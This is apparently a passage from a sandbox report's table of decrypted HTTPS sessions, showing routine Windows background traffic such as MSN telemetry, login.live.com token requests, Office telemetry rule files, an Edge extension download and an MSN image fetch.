2024-11-23 00:14:42 UTC	9519	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 33 54 30 30 3a 31 34 3a 33 39 2e 30 30 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 63 61 33 37 36 65 35 62 2d 64 65 39 37 2d 34 38 61 31 2d 61 31 38 34 2d 61 61 32 35 64 31 61 63 66 63 61 61 22 2c 22 65 70 6f 63 68 22 3a 22 32 33 33 39 39 31 34 32 35 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-23T00:14:39.007Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"ca376e5b-de97-48a1-a184-aa25d1acfcaa","epoch":"2339914256"},"app":{"loc
2024-11-23 00:14:43 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=a9ba1237799f4a3aa742dcc0776973f4&HASH=a9ba&LV=202411&V=4&LU=1732320882712; Domain=.microsoft.com; Expires=Sun, 23 Nov 2025 00:14:42 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=d53cceb588524585bdfd36f8aade7b83; Domain=.microsoft.com; Expires=Sat, 23 Nov 2024 00:44:42 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3704 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 23 Nov 2024 00:14:42 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	49895	40.126.53.13	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:43 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-23 00:14:43 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-23 00:14:43 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 23 Nov 2024 00:13:43 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C561_SN1 x-ms-request-id: edf96578-d877-4f5f-bcd6-a4121715d605 PPServer: PPV: 30 H: SN1PEPF0002F19A V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 23 Nov 2024 00:14:42 GMT Connection: close Content-Length: 11389
2024-11-23 00:14:43 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:43 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:44 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 907655e5-001e-0065-594b-3c0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001443Z-15b8b599d88cn5thhC1TEBqxkn000000020000000000fta6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:44 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:43 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:44 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 90758f84-b01e-0021-4c46-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001444Z-178bfbc474bpnd5vhC1NYC4vr400000003rg000000007ptk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:44 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:43 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:44 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 1e280d2f-401e-0029-0d7f-3b9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001444Z-174c587ffdfldtt2hC1TEBwv9c000000021g000000006mh4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:44 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:43 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:44 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0a397e49-e01e-0051-357f-3b84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001444Z-174c587ffdf59vqchC1TEByk6800000002dg000000000fh2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:44 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:43 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:44 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 8e68b2a4-701e-005c-1a8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001444Z-174c587ffdfx984chC1TEB676g0000000280000000003dss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:44 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49902	23.57.90.81	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:44 UTC	614	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732925662&P2=404&P3=2&P4=aHmmdBArmPmGh24OHzMLHy1IuvRr1vg0Y05HavyIGFco3Ui2M5JAE8xf1f0OpwkY9DcfSor5g%2boZ98EkaRFl3A%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: jCIJr95YPmcip7wD0F+6R4 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:45 UTC	1252	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: 81be5bf7-a6a4-478e-b23d-f2a1c22b7af3 MS-RequestId: 5000bee4-fbc6-42af-ac44-adb663f26e4f MS-CV: aba1h+UkTHWvC/SpKovhxc.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86400 Date: Sat, 23 Nov 2024 00:14:45 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.57.70.80,b=1419553521,c=g,n=US_NJ_SECAUCUS,o=20940],[c=c,n=US_NJ_PISCATAWAY,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.50463917.1732320884.549caaf1 Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-11-23 00:14:45 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	49909	23.200.3.13	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:45 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:46 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 01 Nov 2024 15:43:48 GMT X-Source-Length: 822 X-Datacenter: eastus X-ActivityId: 8573cc25-f04b-4276-9d05-cb327393d12e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=142154 Expires: Sun, 24 Nov 2024 15:43:59 GMT Date: Sat, 23 Nov 2024 00:14:45 GMT Connection: close
2024-11-23 00:14:46 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	49903	40.126.53.13	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:45 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-23 00:14:45 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-23 00:14:46 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 23 Nov 2024 00:13:46 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C561_BL2 x-ms-request-id: e936ccf7-e258-4dd8-a2e8-80c53867aca4 PPServer: PPV: 30 H: BL02EPF0001D828 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 23 Nov 2024 00:14:45 GMT Connection: close Content-Length: 11389
